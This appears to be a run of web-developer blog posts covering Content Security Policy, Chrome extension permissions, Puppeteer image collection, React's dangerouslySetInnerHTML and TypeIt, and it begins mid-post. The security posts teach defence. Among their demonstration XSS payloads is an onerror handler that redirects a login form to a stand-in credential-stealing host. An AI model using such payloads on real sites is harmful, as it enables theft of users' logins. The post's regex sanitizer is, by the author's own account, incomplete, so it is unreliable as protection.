  <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>

  <!-- Function constructors -->
  <script src="src/main.js"></script>
  <!--
    // main.js

    const no = new Function('console.log("LOL no");');

    no(2, 6);
  -->
</body>

That one-liner allows JavaScript loaded only through your own domain ("self") to execute, including inline scripts and event handlers. You'd see a mess of errors in your console trying to run that code above:

Fortunately, it was straightforward to make JamComments compliant with a policy like this. I switched to Alpine's CSP build, began loading scripts & styles externally (better for caching anyway), and introduced an option to proxy assets through your own host.

You might think the hassle burned my liking of CSPs, but actually, the opposite happened. I've moved toward liking them even more. In fact, I think every site should probably just get one, even if it's hosting simple, static content (like your blog).

Sanitization Backup

If you accept any form of user-generated content (UGC), like comments, it’s a good idea to use a CSP to disable any nefarious code, even if that code is supposedly already being sanitized. As unlikely as it may be, it’s possible things could otherwise blow up in your face. A CSP is an affordable way to prevent that. A couple reasons:

First, sanitization could be inadequate or overstated. Someone could claim UGC is “sanitized” by inserting code via .innerHTML, for example, because it doesn’t permit tags from executing.<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>const content = document.getElementById('content'); content.innerHTML = ` <script> console.log("will not fire!"); <.script> `; </code></pre></div> <p></p> <p>That’s true, but inline event handlers and links using the JavaScript pseudo-protocol <em>will</em> still fire:<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>const content = document.getElementById('content'); content.innerHTML = ` <img src="x" onerror="console.warn('imma getchu');"> <a href="javascript:alert('ur so done.')">Save</a> `; </code></pre></div> <p></p> <p>That leaves your attack surface area plenty large enough to still worry about, even if the "obvious" vulnerabilities are covered.</p> <h2> <a name="supply-chain-attacks" href="#supply-chain-attacks" class="anchor"> </a> Supply Chain Attacks </h2> <p>You might've heard of the Polyfill.io <a href="https://fossa.com/blog/polyfill-supply-chain-attack-details-fixes/?ref=cms.macarthur.me">supply chain attack</a> exposed earlier this year. When the <code>cdn.polyfill.io</code> domain was acquired by new owners, they began swapping out "good" code for something more malicious. The group specifically targeted the mobile devices of <a href="https://www.akamai.com/blog/security/2024-polyfill-supply-chain-attack-what-to-know?ref=cms.macarthur.me">carefully selected types of users</a>, who were then directed to scam sites. A <em>lot</em> of sites were impacted – over 100k. And all you needed to do to make yourself vulnerable was have a Polyfill.io CDN link on your site.</p> <p>A supply chain attack is one reason why you ought to be picky about the third-party hosts you use to serve assets. Any of them could theoretically pull out the rug from under you at any moment. <a href="https://x.com/triblondon?ref=cms.macarthur.me">Andrew Betts</a> says it more scarily:</p> <p><a href="https://x.com/triblondon/status/1761852824739021079?ref=cms.macarthur.me"><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/670dadh5e1x0kpr1n10k.png" alt="screenshot of tweet describing how serious the risk of a supply chain attack is"/></a></p> <p>A CSP is helpful on this front because <strong>it restricts third-party hosts to an explicit list of the ones you truly trust</strong> (or none at all). As long as that policy's in place, there's no way anyone could accidentally or dastardly slip in something through an untrusted domain.</p> <p>And for the domains you <em>do</em> want to permit, list them in your policy. Using the jQuery example from above:<br> </p> <div class="highlight"><pre class="highlight plaintext"><code><meta http-equiv="Content-Security-Policy" content="script-src 'self' code.jquery.com" /> </code></pre></div> <p></p> <p>If it's not obvious, this <em>won't</em> protect you if those trusted domains themselves are compromised, but it'll limit the risk. Implement this while serving as many other resources as possible through your own domain, and you'll be in pretty good shape.</p> <h2> <a name="building-your-policy" href="#building-your-policy" class="anchor"> </a> Building Your Policy </h2> <p>The policy that's "best" for you will heavily depend on the type of site you're running. Whether you allow form submissions, accept any UGC, or even if you serve content to authenticated users will all inform that policy. There are <em>plenty</em> of directives to lock down all sorts of things (<a href="https://content-security-policy.com/?ref=cms.macarthur.me">read about them all here</a>). But I'm writing this for a public, content-focused blog, so I'll focus there.</p> <p>One tactic for building your policy is to start aggressively and relax it from there. Here's a pretty locked-down policy:<br> </p> <div class="highlight"><pre class="highlight plaintext"><code><meta http-equiv="Content-Security-Policy" content="default-src 'self';"> </code></pre></div> <p></p> <p>The <code>default-src</code> directive serves as the fallback value for other directives, preventing <em>any</em> third-party resources from being loaded. It's either your own domain or <em>nothing</em>. When you first run this, it'll very likely break something, after which you could begin whitelisting domains, or using specific directives:<br> </p> <div class="highlight"><pre class="highlight plaintext"><code><meta http-equiv="Content-Security-Policy" content=" script-src 'self'; img-src 'self'; style-src 'self'; font-src 'self';" /> </code></pre></div> <p></p> <p>That one will restrict all script, image, style, and font sources to your own domain. A little more chill, but still more than adequate for a blog.</p> <p>If you'd like to start with something a little more tame, I'd probably go with this:<br> </p> <div class="highlight"><pre class="highlight plaintext"><code><meta http-equiv="Content-Security-Policy" content="script-src 'self'; /> </code></pre></div> <p></p> <p>This would arguably protect you from the most common vulnerabilities out there (no execution of any third-party scripts) , and you could then tighten from there.</p> <h3> <a name="setting-a-policy-via-http-header" href="#setting-a-policy-via-http-header" class="anchor"> </a> Setting a Policy via HTTP Header </h3> <p>The <code><meta /></code> tag isn't the only way to define a CSP. The <code>Content-Security-Policy</code> header does the same thing, but with a couple perks.</p> <p>First, you can define a destination for violations to be reported when they occur. You'll need a <code>report-to</code> directive in your policy, as well as an additional <code>Reporting-Endpoints</code> header.<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>Reporting-Endpoints: csp-endpoint='https://example.com/csp-report' Content-Security-Policy: script-src 'self'; report-to csp-endpoint </code></pre></div> <p></p> <p>For every violation, that endpoint will receive a POST request containing a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to?ref=cms.macarthur.me#violation_report_syntax">big, ol' blob of JSON</a> detailing went wrong. I can't immediately imagine why that information would be useful, but I'm sure it is to someone.</p> <p>Second, defining your policy with a header makes it a smidge more obfuscated, and a little more difficult for people to snoop for a loophole. They could still find it; it just wouldn't be right there in your HTML. They'd need to crack open some dev tools and view the response headers of the request:</p> <p><img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fqcfaq1519nfxy7xhqvv.png"/></p> <p>But even aside from that, many might prefer to have browser directives (including things like <code>Cache-Control</code> neatly tucked away in the headers, rather than plastered in your HTML. It's up to you. but if you do choose to go that route, setting it is fairly simple for some of the more common modern hosts out there.</p> <h4> <a name="cloudflare-pages" href="#cloudflare-pages" class="anchor"> </a> <a href="https://developers.cloudflare.com/pages/configuration/headers/?ref=cms.macarthur.me">Cloudflare Pages</a> </h4> <p>In a <code>_headers</code> file at the root of your project, set it on every response from your site.<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>/* Content-Security-Policy: script-src 'self' </code></pre></div> <p></p> <p>You could also set it in a <a href="https://developers.cloudflare.com/pages/functions/middleware/?ref=cms.macarthur.me">middleware function</a>.</p> <h4> <a name="netlify" href="#netlify" class="anchor"> </a> <a href="https://docs.netlify.com/routing/headers?ref=cms.macarthur.me">Netlify</a> </h4> <p>You could use a <code>_headers</code> file like above, or define it in your <code>netlify.toml</code> file.<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>[[headers]] for = "/*" [headers.values] Content-Security-Policy = "script-src 'self'" </code></pre></div> <p></p> <h4> <a name="vercel" href="#vercel" class="anchor"> </a> <a href="https://vercel.com/docs/projects/project-configuration?ref=cms.macarthur.me#headers">Vercel</a> </h4> <p>Drop it in your <code>vercel.json</code> file.<br> </p> <div class="highlight"><pre class="highlight plaintext"><code>{ "headers": [ { "source": "/(.*)", "headers": [ { "key": "Content-Security-Policy", "value": "script-src 'self'" } ] } ] } </code></pre></div> <p></p> <p>Or if you'd like to do it the hard way, use <a href="https://vercel.com/docs/functions/edge-middleware?ref=cms.macarthur.me">edge middleware</a>.</p> <p>You get the idea.</p> <h2> <a name="free-value" href="#free-value" class="anchor"> </a> Free Value </h2> <p>I'll admit: the chance of anything horrible happening to my static blog because I didn't have a Content Security Policy in place is very, very low. And if there were more downsides to implementing one, I might encourage most people to not even bother.</p> <p>But as far as I can tell, the cost to implementing even a simple policy is virtually nothing – just a little annoyance when you try to use a third party CDN after setting up a CSP, but I can roll with that (plus, it's easily solvable with whitelisting). On the other end, the potential value in preventing a headache of security issues when the moment does arise is pretty sizable, in my opinion.</p> <p>The cost is negligible, and the value is possibly huge. It's like an incredibly affordable, effective insurance policy. You might as well just get one.</p>

Avoiding a "Host Permission" Review Delay When Publishing a Chrome Extension

Alex MacArthur — Wed, 20 Nov 2024 01:08:03 +0000

I just wrapped up a Chrome Extension that allows you to convert and download any AVIF or WebP image as a more useful JPEG, PNG, or GIF (it aims to solve one of the greatest pains on the internet). The extension's very simple, but I ran into an interesting slowdown getting it finished up and submitted for review.

Under the "Permission Justification" section of the submission form, the following banner was shown after uploading my ZIP file:

"Delay publishing" is rather ambiguous, which led me to assume it'd be forever before it'd finally get reviewed. I wasn't up for that, so I did some digging and found a way to circumvent the issue by structuring my extension a bit differently. Hopefully, it can help speed up someone else's process too.

The Initial Structural Problem

This warning was triggered by the first version of my manifest.json file – specifically my usage of content_scripts:

Here's how it looked:

{
    "manifest_version": 3,
    "name": "PicPerf's Image Saver",
    "version": "1.1",
    "description": "Convert and save images in different formats.",
    "permissions": ["contextMenus", "downloads"],
    "background": {
        "service_worker": "background.js"
    },
    "content_scripts": [
        {
            "matches": ["<all_urls>"],
            "js": ["content.js"]
        }
    ], 
    "icons": {
        "16": "images/icon-16.png",
        "48": "images/icon-48.png",
        "128": "images/icon-128.png"
    },  
    "action": {}
}

The content_scripts section of the file specifies code that can run in the context of a loaded web page. Any scripts injected here can read, modify, and share details about what the user's viewing. That sounds inherently risky, and for good reason. And even risker, the <all_urls> match meant content.js would be able to run on any page. No restrictions.

My extension does legitimately need to access this kind of stuff. It'd performs a little bit of DOM work to indicate a conversion is being performed, and it's also necessary for triggering a download when the work is finished. (There may be a way to offload some of this work to that background.js file referenced above, but I haven't done deep exploration into those possibilities yet).

All of this content.js work was triggered by an event published from my background.js file:

chrome.contextMenus.onClicked.addListener((info, tab) => {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) => f.id === formatId);

  chrome.tabs.sendMessage(tab.id, {
    type: "CONVERT_IMAGE",
    imageUrl: info.srcUrl,
    format: format,
  });
});

All of this was functioning fine, so I was eager to figure out a workaround.

Granting Access On-Demand

Thankfully, it didn't take long. I was able to find an alternative approach using Chrome's "activeTab" and "scripting" permissions, which would grant access to the page only when the extension is explicitly invoked. This way, all the work I needed to do would only ever happen in response to a user's action, and only on the current tab. It's a bit safer, and it'd mean I could bypass that extra review time.

First up, I added a couple more permissions and removed the content_scripts property from my manifest.json file.

{
    "manifest_version": 3,
    "name": "PicPerf's Image Saver",
    "version": "1.1",
    "description": "Convert and save images in different formats.",
- "permissions": ["contextMenus", "downloads"],
+ "permissions": ["contextMenus", "downloads", "activeTab", "scripting"],
    "background": {
        "service_worker": "background.js"
    },
- "content_scripts": [
- {
- "matches": ["<all_urls>"],
- "js": ["content.js"]
- }
- ], 
    "icons": {
        "16": "images/icon-16.png",
        "48": "images/icon-48.png",
        "128": "images/icon-128.png"
    },  
    "action": {}
}

Next, I adjusted that background.js bit to use Chrome's Scripting API. Rather than strictly publishing a message to a content script that's already listening, it'd first execute that script, and then publish the message.

It's a bit contrived for ease of explanation, but this is how it unfolded:

// background.js

chrome.contextMenus.onClicked.addListener((info, tab) => {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) => f.id === formatId);

  // First, execute the client-side script.
  chrome.scripting
    .executeScript({
      target: { tabId: tab.id },
      files: ["content.js"],
    })
    .then(() => {
      // Then, publish the message like before.
      chrome.tabs.sendMessage(tab.id, {
        type: "CONVERT_IMAGE",
        imageUrl: info.srcUrl,
        format: format,
      });
    },
    (error) => {
      console.error(error);
    }
  );
});

At first attempted, everything continued to work fine. Until I started to repeatedly save images on the same page.

Avoiding Repeat Execution

With this setup, content.js was executing every time my context menu item was clicked. That meant my event listener would become repeatedly reregistered, causing more callbacks to trigger unnecessarily.

For my needs, the fix was simple enough: only execute the script when I know it hadn't been done before. Otherwise, publish that message like normal.

// background.js

globalThis._PP_EXECUTED_ON_TABS = new Set();

function publishMessage(tabId, srcUrl, format) {
  chrome.tabs.sendMessage(tabId, {
    type: "CONVERT_IMAGE",
    imageUrl: srcUrl,
    format: format,
  });
}

chrome.contextMenus.onClicked.addListener((info, tab) => {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) => f.id === formatId);

  // It's already been executed on this tab! Bow out early.
  if (globalThis._PP_EXECUTED_ON_TABS.has(tab.id)) {
    publishMessage(tab.id, info.srcUrl, format);

    return;
  }

  globalThis._PP_EXECUTED_ON_TABS.add(tab.id);

  chrome.scripting
    .executeScript({
      target: { tabId: tab.id },
      files: ["content.js"],
    })
    .then(() => {
      publishMessage(tab.id, info.srcUrl, format);
    },
    (error) => {
      console.error(error);
    }
  );
});

No change to my content.js file was needed at all, by the way. It just listened for an event from Chrome like before:

// content.js

chrome.runtime.onMessage.addListener((message) => {
  if (message.type === "CONVERT_IMAGE") {
    // Do stuff.
  }
});

Works great, and all parties (especially me) were satisfied. ✅

I'll Be Back

I am still so sorely unfamiliar with the extension writing process, as well as the APIs and conventions Chrome provides with it. So, while it's such a little thing, understanding how some of these pieces fit together was very satisfying. I'm eager to iterate on this extension and be back to build more tools in the future.

The PicPerf Image Saver is live, by the way. Install it and send me your feedback!

Collect All Requested Images on a Website Using Puppeteer

Alex MacArthur — Thu, 14 Nov 2024 01:21:56 +0000

When I was building PicPerf's page analyzer, I needed to figure out how to identify every image loaded on a particular page. It sounded like a simple task – scrape the HTML for <img> tags, pull off the src attributes, and profit. I'm using Puppeteer, so I started stubbing out something like this:

const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

await page.goto(url, { waitUntil: "networkidle2" });

const images = await page.evaluate(() => {
  return Array.from(document.getElementsByTagName("img")).map(
    (img) => img.src,
  );
});

// Do something w/ an array of URLs...

I didn't take long to realize how insufficient that would be.

First, not every image is loaded via <img> tag. If I didn't want to miss anything, I'd also need to parse the contents of CSS files, <style> tags, and style attributes.

I started going down this path and it was not pretty. You can't just pluck a src attribute off a blob of CSS. You gotta be willing to make shameful choices, like writing a regular expression to pull URLs out of chunks of markup:

const images = await page.evaluate(() => {
  function extractImagesFromMarkup(markup) {
    return (
      markup?.match(
        /(?:https?:\/)?\/[^ ,]+\.(jpg|jpeg|png|gif|webp|avif)(?:\?[^ "')]*)?/gi,
      ) || []
    );
  }

  return {
    imageTags: Array.from(document.querySelectorAll("img"))
      .map((el) => {
        return extractImagesFromMarkup(el.getAttribute("src"));
      })
      .flat(),

    styleAttributes: Array.from(document.querySelectorAll("*"))
      .map((el) => {
        return extractImagesFromMarkup(el.getAttribute("style"));
      })
      .flat(),

    styleTags: Array.from(document.querySelectorAll("style"))
      .map((el) => {
        return extractImagesFromMarkup(el.innerHTML);
      })
      .flat(),
  };
});

const { imageTags, styleAttributes, styleTags } = images;

I'm sorry you had to see that. And it doesn't even cover every case (like <picture> elements or .css file contents). I was bound to miss something.

Second, even if I could reliably find every image in the code, it doesn't mean every one would be downloaded and rendered on page load. Any given website could have a mound of CSS media queries that load images only on certain screen sizes, or responsive images that leave it up to the browser:

<img 
  src="ur-mom-2000px.jpg" 
  srcset="ur-mom-600px.jpg 600w, ur-mom-2000px.jpg 2000w" 
  sizes="(max-width: 600px) 100vw, 2000px" 
  alt="Your Mother"
>

If I wanted this page analyzer to be reasonably accurate, I needed only the images a real user would need to wait to be downloaded when a real browser was fired up, and I wasn't interested in trading my soul to write an even more clever chunk of code to pull it off.

Don't Scrape. Listen for Requested Images

I eventually realized I'm not limited to scraping a bunch of cold, hard HTML when using a tool like Puppeteer. I could set up a listener to capture images that were actually downloaded during a browser session.

That's easy enough to set up. First, Puppeteer's request interception feature needed to be enabled when the page was created:

const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Enable requests to be intercepted.
await page.setRequestInterception(true);

Then, the request handler could be built out like so:

// Will collect image URLs in here.
const imageUrls = [];

page.on("request", (req) => {
  if (req.isInterceptResolutionHandled()) return;

  // Do stuff here. 

  return req.continue();
});

That first line calling isInterceptResolutionHandled() is important – I used it to bow out early if the incoming request has already been handled by a different event listener. (Technically, this isn't critical if you know you're the only one listening, but good practice nonetheless.). Between that and req.continue(), I could start collecting images.

Filtering Out the Junk

I just wanted image requests, but as I filtered, I set things up to abort() requests through domains that didn't impact to how the page was rendered (it'd same on some analysis time too). For the most part, that meant hefty analytics requests:

const DOMAIN_BLACKLIST = [
  "play.google.com",
  "ad-delivery.net",
  "youtube.com",
  "track.hubspot.com",
  "googleapis.com",
  "doubleclick.net",
  // Many, many more...
];

Then, it was a matter of aborting the request when its hostname was found in the list:

page.on("request", (req) => {
  if (req.isInterceptResolutionHandled()) return;

  const urlObj = new URL(req.url());

  // Block requests.
  if (DOMAIN_BLACKLIST.includes(urlObj.hostname)) {
    return req.abort();
  }

  return req.continue();
});

With that out of the way, I could focus on collecting images into that imageUrls variable, but only if they were in my list of permitted extensions.

const imageExtensions = [
  "jpg",
  "jpeg",
  "png",
  "gif",
  "webp",
  "avif",
  "svg",
];

I also left out any data: sources, since I wanted only fully qualified image URLs.

page.on("request", (req) => {
  if (req.isInterceptResolutionHandled()) return;

  const urlObj = new URL(req.url());

  if (DOMAIN_BLACKLIST.includes(urlObj.hostname)) {
    return req.abort();
  }

  const fileExtension = urlObj.pathname.split(".").pop();

  if (
    req.resourceType() === "image" &&

    // Must be a permitted extension.
    imageExtensions.includes(fileExtension) &&

    // No data sources.
    !req.url().includes("data:")
  ) {
    imageUrls.push(req.url());
  }

  return req.continue();
});

That's a much more reliable approach than scraping. But there was still more to be done to collect every image that could possibly be loaded.

Accounting for Scrolling

First up, I wanted to make sure I collected any image that was loaded throughout the full length of the page. But due to possible lazy loading (native or not), I wanted to trigger a full page scroll to catch them all. So, I used this little function that scrolled by 100px every 100ms:

  async function autoScroll(page: Page) {
    await page.evaluate(async () => {
      return await new Promise<void>((resolve) => {
        let totalHeight = 0;

        const distance = 100;
        const timer = setInterval(() => {
          window.scrollBy(0, distance);
          totalHeight += distance;

          if (
            totalHeight >=
            document.body.scrollHeight - window.innerHeight
          ) {
            clearInterval(timer);
            resolve();
          }
        }, 100);
    });
  });
}

I then used that to keep the page open until the full page had been scrolled:

const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Other page setup stuff...

await page.goto(url, { waitUntil: "networkidle2" });

// page.on("request") handler here.

await this.autoScroll(page);
await browser.close();

That accounted for lazily loaded images, but before this was considered "ready," I needed to tidy up a couple more things.

Viewport & User Agent

For this to resemble a real-life device as much as reasonably possible, it made sense to go with a popular mobile phone size for the viewport. I choose the following:

const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Other page setup stuff...

page.setViewport({ width: 430, height: 932 });

And finally, I used my own user agent for the page as well:

page.setUserAgent(
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
);

With that, I was set up for success.

That'll Do

I wrapped this tool up with a strong feeling of appreciation for headless browsing tools like Puppeteer and Playwright. There's a lot of complexity wrapped into an API making it easy to programmatically use a browser like a human would. Cheers to the smart people building that stuff.

Try out the tool for yourself, by the way! At the very least, it'll help catch other quirks I've overlooked until now.

TIL: inline event handlers still fire when passed to React's dangerouslySetInnerHTML

Alex MacArthur — Sat, 09 Nov 2024 19:44:11 +0000

Last year, I wrote a post about how to execute <script> tags with React's dangerouslySetInnerHTML prop. Like this:

const App = () => {
  return (
    <div dangerouslySetInnerHTML={{ __html: `
      <script>console.log("taxation is theft");</script>
    `}}></div>
  );
}

By default, dangerouslySetInnerHTML will not allow those scripts to execute because it relies on JavaScript's innerHTML, which prohibits it. Knowing that, I've always kind of assumed that the "danger" in injecting content like this was a little overblown. That was stupid, and I was made aware of this stupidity by seeing this from @matveydev:

Of course a script tag isn't the only way to execute JavaScript. HTML's large set of inline event handlers is just another tactic. But this one won't be blocked when injected with .innerHTML. Things like this, for instance, will run just fine:

const App = () => {
  return (
    <div dangerouslySetInnerHTML={{ __html: `
      <button onclick="console.log('Watch out, sucker!')">
    `}}></div>
  );
}

That means you could do something more nefarious, like what @matveydev shared, or a variety of other things, like changing where a form submits information:

const App = () => {
  return (
    <div dangerouslySetInnerHTML={{ __html: `
      <img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
    `}}></div>
  );
}

This appears to be possible with any inline event handler. I guess dangerouslySetInnerHTML really is named appropriately.

Preventing Inline Event Handler Executions

If you're gonna make dangerouslySetInnerHTML fully safe, use a good HTML sanitization library or Content Security Policy. But we're gonna explore taking care of this specific vulnerability ourselves anyway. For fun.

Let's start putting together a SafeElement component that accepts some markup:

function SafeElement({ markup, ...props }) {
  return (
    <div 
      dangerouslySetInnerHTML={{ __html: markup }} {...props}>
    </div>
  );
}

Now, let's write a function to sanitize that markup before it has a chance to execute anything naughty. To test it out, we'll use this simple string of HTML with a dash of badness baked in:

<img src="x" onerror="console.log('communism')">

Using a DOMParser

There are a couple options we could go with this. First, we could use a DOMParser instance to remove any on* attributes from every HTML element:

function sanitize(markup) {
  const doc = new DOMParser().parseFromString(markup, 'text/html');

  doc.querySelectorAll('*').forEach(node => {
    Array.from(node.attributes).forEach(attr => {
      if (attr.name.startsWith('on')) {
        node.removeAttribute(attr.name);
      }
    });
  });

  return doc.body.innerHTML;
}

Running our contrived HTML through this would completely strip off the inline handlers:

<img src="x">

The benefit of this approach is that you're using an HTML-focused API to manipulate HTML. It's straightforward and predictable to remove attributes with standard DOM methods.

Using a Regular Expression + .replace()

But it's also a decent chunk of code compared to an alternative: a good ol' .replace() stuffed with a regular expression:

function sanitize(markup) {
  return html.replace(/(?!\s+)(on[a-z]+\s*=\s*)/gi, "nope=");
}

Regular expressions are scary, but this one's relatively tame. Breaking it down, starting at the end:

/gi tells the pattern to match against the entire string, as many times as necessary, and in a case-insensitive way.
(on[a-z]+\s*=\s*) matches against any attribute starting with "on" and ending with any amount of letters, but only up until "=" (surrounded optionally by spaces. This should cover any event handler in an HTML tag.
(?!\s+) matches against one or more spaces, but it's inside a non-capturing group (denoted by the ?!), which means it'll be ignored when we perform the string replacement.

You could beef this up to only match against attributes found within what you know are HTML tags (there'd be a lower chance of borking legitimate user-generated content), but this should cover 99.999999999% of cases. For us, the markup would end up like so, preventing it from executing (until browsers implement a "nope" event handler):

<img src="x" nope="console.log('communism')">

For less code, you get the same desired outcome. But there's another advantage too: It's far more performant than using a DOMParser. A simple benchmark(which should always be interpreted with a grain of salt) shows that using a DOMParser was ~99.45% slower than .replace() with a pattern.

Worth noting if your application is particularly performance-sensitive.

Wiring It Up

Largely because of the amount of fear it strikes in the hearts of engineers, I'm opting for regular expression + .replace() option. Here's full implementation of a "safer" way to use dangerouslySetInnerHTML:

function sanitize(markup) {
  return markup.replace(/(?!\s+)(on[a-z]+=)/gi, "nope=");
}

function SafeElement({ element = 'div', markup, ...props }) {
  const Element = element;
  const sanitizedMarkup = sanitize(markup);

  return (
    <Element 
      dangerouslySetInnerHTML={{ __html: sanitizedMarkup }} 
      {...props} 
    />
  );
}

Along with an example:

function App () {
  return (
    <div>
      <SafeElement
        element="span"
        markup={`
          static content.

          <script>console.log("regular console log");</script>
          <img src="x" onerror="console.log('on error from img')">
          <button onclick="console.log('do bad stuff')">Trust me!</button>
      `}
      />
    </div>
  );
};

Now, take a look at your console. You won't see much.

That means it worked, and we've won.

How bulletproof is this?

Don't walk away from this thinking you can wield dangerouslySetInnerHTML without shooting yourself in the foot ever again. We didn't discuss other very real vulnerabilities like the javascript:// pseudo-protocol. That's why, again, it's in your best interest to at least consider using a comprehensive sanitization library in your production application. Some great ones are out there, including DOMPurify and sanitize-html.

If you can get away with it, a good Content Security Policy is a wise idea too – just keep in mind it'll impact more than surgically sanitized HTML would. This one-liner in the <head> of your page will block all inline handlers and javascript:// URLs on your page, even without sanitization.

<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>

Or set it as a response header.

Content-Security-Policy: "script-src 'self'";

Regardless, it's good to know the quirks of script execution in the browser. So, keep all this tucked away in case it's ever helpful.

Streaming Text Like an LLM with TypeIt (and React)

Alex MacArthur — Fri, 25 Oct 2024 01:07:57 +0000

Sam Selikoff shared a slick demonstration of a React hook for animating text streamed from an LLM recently. It caught my eye for a couple reasons. First, it looks great. Second, one of my eternal pet projects is TypeIt, used to create very similar sorts of animations.

I couldn't help but create an example of my own using TypeIt, and it turned out to be pretty straightforward – so straightforward that I had time to write up this post exploring it some more.

The Setup

Everything you see here will remain in a React context (we'll use the typeit-react package), but it could be set up just as easily with another framework (or none at all). First, we're going to create a fake streaming API. Normally, this would be connected to real LLM. I'm too cheap for that.

function chunkText(text, chunkSize = 3) {
  const chunks = [];

  for (let i = 0; i < text.length; i += chunkSize) {
    chunks.push(text.slice(i, i + chunkSize));
  }

  return chunks;
}

export async function streamText() {
  const text = 'Bunch of text...';
  const chunks = chunkText(text);

  async function* generateStream() {
    for (const chunk of chunks) {
      await new Promise((resolve) => setTimeout(resolve, Math.random() * 50));

      yield chunk;
    }
  }

  return {
    textStream: generateStream()
  };
}

Next, let's scaffold a useAnimatedText() hook to house all the typing business. It'll be very much inspired by the API Sam uses in his example. You could do whatever you like.

import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [text, setText] = useState('');

  const el = (
    <TypeIt options={{ cursor: false }}></TypeIt>
  );

  return [el, setText];
}

Notice this is returning two things – the JSX we'll want to render, as well as a function for updating the rendered text. We'll flesh this out more in a bit.

Finally, here's the shell of the app itself:

import { streamText } from './streamText';
import { useAnimatedText } from './useAnimatedText';

export default function App() {
  const [animatedText, setText] = useAnimatedText();

  async function go() {
    const { textStream } = await streamText();

    for await (const textPart of textStream) {
      setText(textPart);
    }
  }

  return (
    <div>
      {animatedText}

      <button onClick={go} >
        Generate
      </button>
    </div>
  );
}

The word-by-word animation animation style is the most similar to the one used by ChatGPT to generate chunks of text, so we'll start with that. First, we need to first make it possible to give text to the TypeIt instance whenever it's streamed. We'll use a bit of state to make it available as a variable:

import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [instance, setInstance] = useState(null);
  const [text, setText] = useState('');

  const el = (
    <TypeIt options={{ cursor: false }}
      getAfterInit={(i) => {
        setInstance(i);

        return i;
      }}
    ></TypeIt>
  );

  return [el, setText];
}

Next up, we need to pass text to the instance whenever it's changed. Regrettably, that means reaching for useEffect() (I'm so sorry, @DavidKPiano):

import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [instance, setInstance] = useState(null);
  const [text, setText] = useState('');

  useEffect(() => {
    if (!instance) return;

    instance.type(text, { instant: true }).flush();
  }, [text]);

  const el = (
    <TypeIt options={{ cursor: false }}
      getAfterInit={(i) => {
        setInstance(i);

        return i;
      }}
    ></TypeIt>
  );

  return [el, setText];
}

Let's break apart that instance.type() line. First, the .type() method will queue up any text you give it, and passing { instant: true } will cause it to be typed as one, single string (not character-by-character). Simple enough.

The .flush() method is a little special. Normally, TypeIt holds a queue of items it needs to process (kicked off by .go()), which then allows the animation to be replayed if needed. But we're typing content on-the-fly. Instead, using .flush() will throw away your queue after the items are processed, making it great for a use case like this. Here's the final result:

If a letter-by-letter animation style is preferred, it's as simple as removing the { instant: true } and adjusting the speed as needed:

Other Ideas?

I'm glad I tinkered with this a bit – it actually spawned an improvement to TypeIt's library itself. If you're interested in seeing how you might implement other typing-related animations with TypeIt, or if you have any suggestions to make it even better, reach out on X!

I didn't know you could use sibling parameters as default values in functions.

Alex MacArthur — Sat, 12 Oct 2024 15:42:12 +0000

JavaScript has supported default parameter values since ES2015. You know this. I know this. What I didn't know was that you can use sibling parameters as the default values themselves. (Or maybe "adjacent positional parameters"? Not sure what to call these.)

function myFunc(arg1, arg2 = arg1) {
  console.log(arg1, arg2);
}

myFunc("arg1!");
// "arg1!" "arg1!"

This works in class constructors too – something I found to be quite helpful in making some PicPerf.io code more testable. It's common to see simple dependency injection used to that end. Let's explore it a bit.

A Scenario

Keeping with the image optimization theme, say you have an OptimizedImage class. Provide an image URL to its constructor, and you can retrieve either a freshly optimized buffer of the image or a cached version.

class OptimizedImage {
  constructor(
    imageUrl: string,
    cacheService = new CacheService(),
    optimizeService = new OptimizeService()
  ) {
    this.imageUrl = imageUrl;
    this.cacheService = cacheService;
    this.optimizeService = optimizeService;
  }

  async get() {
    const cached = this.cacheService.get(this.imageUrl);

    // Return the previously optimized image.
    if (cached) return cached;

    const optimizedImage = await this.optimizeService
      .optimize(this.imageUrl);

    // Cache the optimized image for next time.
    return this.cacheService.put(this.imageUrl, optimizedImage);
  }
}

const instance = new OptimizedImage('https://macarthur.me/me.jpg');
const imgBuffer = await instance.get();

The only constructor parameter used in production is imageUrl, but injecting CacheService and OptimizeService enables easier unit test with mocks:

import { it, expect, vi } from 'vitest';
import { OptimizedImage } from './main';

it('returns freshly optimized image', async function () {
  const fakeImageBuffer = new ArrayBuffer('image!');
  const mockCacheService = {
    get: (url) => null,
    put: vi.fn().mockResolvedValue(fakeImageBuffer),
  };

  const mockOptimizeService = {
    optimize: (url) => fakeImageBuffer,
  };

  const optimizedImage = new OptimizedImage(
    'https://test.jpg',
    mockCacheService,
    mockOptimizeService
  );

  const result = await optimizedImage.get();

  expect(result).toEqual(fakeImageBuffer);
  expect(mockCacheService.put).toHaveBeenCalledWith(
    'https://test.jpg',
    'optimized image'
  );
});

Making It More Complicated

In that example, both of those service classes use imageUrl only when particular methods are invoked. But imagine if they required it to be passed into their own constructors instead. You might be tempted to pull instantiation into OptimizedImage's constructor (I was):

class OptimizedImage {
  constructor(
    imageUrl: string
  ) {
